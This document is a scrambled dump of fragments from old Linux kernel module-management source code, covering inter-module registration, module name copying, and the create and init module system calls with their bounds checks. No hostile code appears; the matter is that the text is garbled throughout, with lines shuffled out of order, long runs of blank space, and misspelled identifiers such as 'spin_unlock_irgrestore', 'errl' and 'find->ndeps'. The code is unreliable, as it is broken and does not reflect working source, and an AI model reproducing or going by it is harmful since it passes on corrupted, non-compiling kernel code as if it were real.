                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           _kallsyms[] __attribute__
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    __start___ksymtab[];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                _ex_table,
                                              *ime_new;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      _ksymtab[];
                                                                                                                                                                                                             add it to the inter_module_entry
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             _ex_table[];
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ((weak));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 ((weak));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     *
```

code

```
void inter_module_unregister(const char *im_name
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /* inter_module_unregister - unregister a set of inter module data.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             , S&
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                * inter_module_entry list. */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Description: Check that the im_name has been registered, complain
                                                                              else {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 it has not.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         @im_name: an arbitrary string to identify the data, must be unique
                                                                                                                                                                                                                                                                                                                                  spin_unlock(&ime_lock);
if (kmalloc_failed) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              struct inter_module_entry *ime;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     struct list_head *tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             list_add(&(ime_new->list), &ime_list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            memset(ime_new, 0, sizeof(*ime_new));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           list_for_each(tmp, &ime_list) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  spin_lock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 spin_unlock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      spin_lock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              list_for_each(tmp, &ime_list) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       ime_new->userdata = userdata;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            ime_new->owner = owner;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             ime_new->im_name = im_name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   printk(KERN_ERR
                                       /* Program logic error, fatal */
                                                                                                                                                                                                                                                                                                printk(KERN_ERR
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (strcmp(ime->im_name, im_name) ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    ime = list_entry(tmp, struct inter_module_entry,_list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          ime = list_entry(tmp, struct inter_module_entry, list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         kmalloc_failed = 1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             im_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        (strcmp(ime->im_name, im_name) ==
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      printk(KERN_ERR "inter_module_register: duplicate im_name
                                                                                                                                                                                         im_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    spin_unlock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         BUG();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 "Aiee, inter_module_register: cannot kmalloc entry for
                                                                                                                                                                                                                       "probably caused by previous kmalloc failure\n",
                                                                                                                                                                                                                                                      "inter_module_unregister: no
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                kfree(ime);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      list_del(&(ime->list));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     kfree(ime_new);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       spin_unlock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              /* Program logic error, fatal */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            For existing data, remove it from the
                                                                                                                                                                                                                                                         entry for '%s',
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              const void *inter_module_get_request(const char *im_name, const char
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 retry.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             const void *inter_module_get(const char *im_name)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            im_name);
                                                                                                                                                                                                                  void inter_module_put(const char *im_name)
                                                                                                                                                                                                                                                                                                                                                        /* * inter_module_put - release use of data from another module.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              *modname)
                                                                                                                                                                                                                                                 * otherwise decrement the use count on the owning module.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             * Description: If inter_module_get fails,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    * then return NULL.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    * @im_name: an arbitrary string to identify the data, must be unique
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      * @modname: module that is expected to register im_name
                                                                                                                                                                                                                                                                               Description: If the im_name has not been registered, complain,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     inter_module_get_request - im get with automatic request_module.
@im_name: an arbitrary string to identify the data, must be unique
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     Description: If the im_name has not been registered,
                                                                                                                                      struct list head *tmp;
                                                                                                                                                                                                                                                                                                                            @im_name: an arbitrary string to identify the data, must be unique
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               const void *result = inter_module_get(im_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        spin_unlock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    const void *result = NULL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     struct inter_module_entry *ime;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       struct list_head *tmp;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   Try to increment the use count on the owning module,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              inter_module_get - return arbitrary userdata from another module.
                                                                                                          struct inter_module_entry *ime;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if (!result)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 return(result);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  spin_lock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              list_for_each(tmp, &ime_list) {
                              list_for_each(tmp, &ime_list) {
                                                                        spin_lock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                       return(result);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        printk(KERN_ERR "inter_module_unregister: no entry for '%s'",
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       result = inter_module_get(im_name).
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            request_module(modname);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      ime = list_entry(tmp, struct inter_module_entry, list);
ime = list_entry(tmp, struct inter_module_entry, list);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  (strcmp(ime->im_name, im_name) == 0) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (try_inc_mod_count(ime->owner))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    result = ime->userdata;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               Otherwise return the userdata.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             do request_module then
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if that fails
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        return NULL.
```

```
static long get_mod_name(const char *user_name, char **buf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           static inline long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           struct module *find_module(const char *name);
                                                                                                                                      sys_create_module(const char *name_user, size_t size)
                                                                                                                                                            asmlinkage unsigned long
                                                                                                                                                                                                                                                                                                                                      static inline void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                get_mod_name(const char *user_name, char **buf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  Void
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   void free_module(struct module *, int tag_freed);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            static void put_mod_name(char *buf);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   #if defined(CONFIG_MODULES)
                                                                                                                                                                                         /*Allocate space for a module.*/
                                                                                                                                                                                                                                                                                                       put_mod_name(char *buf)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   /*Copy the name of a module from user space.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          /*Called at boot time*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (!page)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                page = ___get_free_page(GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            arch_init_modules(&kernel_module);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         kernel_module.nsyms = __stop__
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  printk(KERN_ERR "inter_module_put: no entry for
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               spin_unlock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            long retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         unsigned long page;
                                                                                                                                                                                                                                                                                                                                                                                               return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              retval = strncpy_from_user((char *)page, user_name, PAGE_SIZE);
                          struct module
                                                                                                                                                                                                                                                  free_page((unsigned long)buf);
                                                                                                                                                                                                                                                                                                                                                                                                                       free_page(page);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        if (retval > 0)
unsigned long flags;
                                                  long namelen,
                                                                                 char *name;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              __init init_modules(void)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   else if (!retval)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (strcmp(ime->im_name, im_name) == 0)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             return -ENOMEM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                      retval = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             retval = -ENAMETOOLONG;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           (retval < PAGE_SIZE)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               spin_unlock(&ime_lock);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    if (ime->owner)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return retval;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               *buf = (char *)page;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            __MOD_DEC_USE_COUNT(ime->owner);
                                                       error,
                            mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 /* The rest of the source */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           _ksymtab -
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         __start__
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     '%s'", im_name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           _ksymtab;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   asmlinkage long
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   errl:
                                                                                                                                                                                                                                                                                                                                                                                                                                                    sys_init_module(const char *name_user, struct module *mod_user)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             /*Initialize a module.*/
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           if ((namelen = get_mod_name(name_user, &name)) < 0)</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    mod->name = (char *) (mod + 1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            mod->size_of_struct = sizeof(*mod);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   if (!capable(CAP_SYS_MODULE))
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               unlock_kernel();
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             goto err0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     error = (long) mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               module_list = mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 spin_lock_irqsave(&modlist_lock,
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           memcpy((char*)(mod+1), name, namelen+1);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       mod->size = size
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         memset(mod, 0, sizeof(*mod));
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       if ((mod =
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (size < sizeof(struct module)+namelen) {</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            lock_kernel();
                                                                                                                                                              if ((namelen = get_mod_name(name_user, &name)) < 0)</pre>
                                                                                                                                                                                                                                                                                                           unsigned long mod_user_size;
                                                                                                                                                                                                                                                                                                                                                                                             struct module mod_tmp, *mod;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      put_mod_name(name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  spin_unlock_irgrestore(&modlist_lock, flags);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         mod->next = module_list;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  put_mod_name(name);
                                                    if ((mod = find_module(name)) == NULL) {
                                                                                                                                                                                                                                                  if (!capable(CAP_SYS_MODULE))
                                                                                                                                                                                                                                                                                 struct module_ref *dep;
                                                                                                                                                                                                                                                                                                                                                                  char *name, *n_name, *name_tmp = NULL;
                                                                                                                                                                                               lock_kernel();
                                                                                                                                                                                                                                                                                                                                      long namelen, n_namelen, i, error;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   (find_module(name) != NULL) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                goto err1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                             error = -ENOMEM;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              goto errl;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           error = -EEXIST;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          goto errl;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        goto err0;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       error = namelen;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    return -EPERM;
                          error = -ENOENT;
                                                                                                                                                                                                                        return -EPERM;
                                                                                                            goto erru;
                                                                                                                                      error = namelen;
  goto err1;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                     (struct module *)module_map(size)) == NULL) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               /* link it in */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                   flags);
```

```
9
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          >persist_start
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                            kstrdup()? */
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  if (error) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                  error = copy_from_user(mod, mod_user, mod_user_size);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                       name_tmp = kmalloc(strlen(mod->name) + 1, GFP_KERNEL);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 if (mod_user_size < (unsigned long)&((struct module *)0L)-</pre>
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                if ((error = get_user(mod_user_size, &mod_user->size_of_struct))
                                                                                                                                                                                                                                            if
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      if (mod->nsyms && !mod_bound(mod->syms, mod->nsyms, mod)) (
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (!mod_bound(mod->name, namelen, mod)) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                               if (mod->size > mod_tmp.size) {
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         error = -EINVAL;
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         strcpy(name_tmp, mod->name);
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                              mod_tmp = *mod;
                                                                                                                                                                                                                                                                                                                                        if (find->ndeps && !mod_bound(mod->deps, mod->ndeps, mod)) {
   printk(KERN_ERR "init_module: mod->deps out of bounds.\n'
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                      /* Sanity check the size of the module.
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          if (name_tmp == NULL)
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        /* Hold the current contents while we play with the user's
                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                          Make sure all interesting pointers are sane.
                                                                                              (mod->cleanup && !mod_bound(mod->cleanup, 0, mod)) {
                                                               printk(KERN_ERR "init_module: mod->cleanup out of bounds.\n");
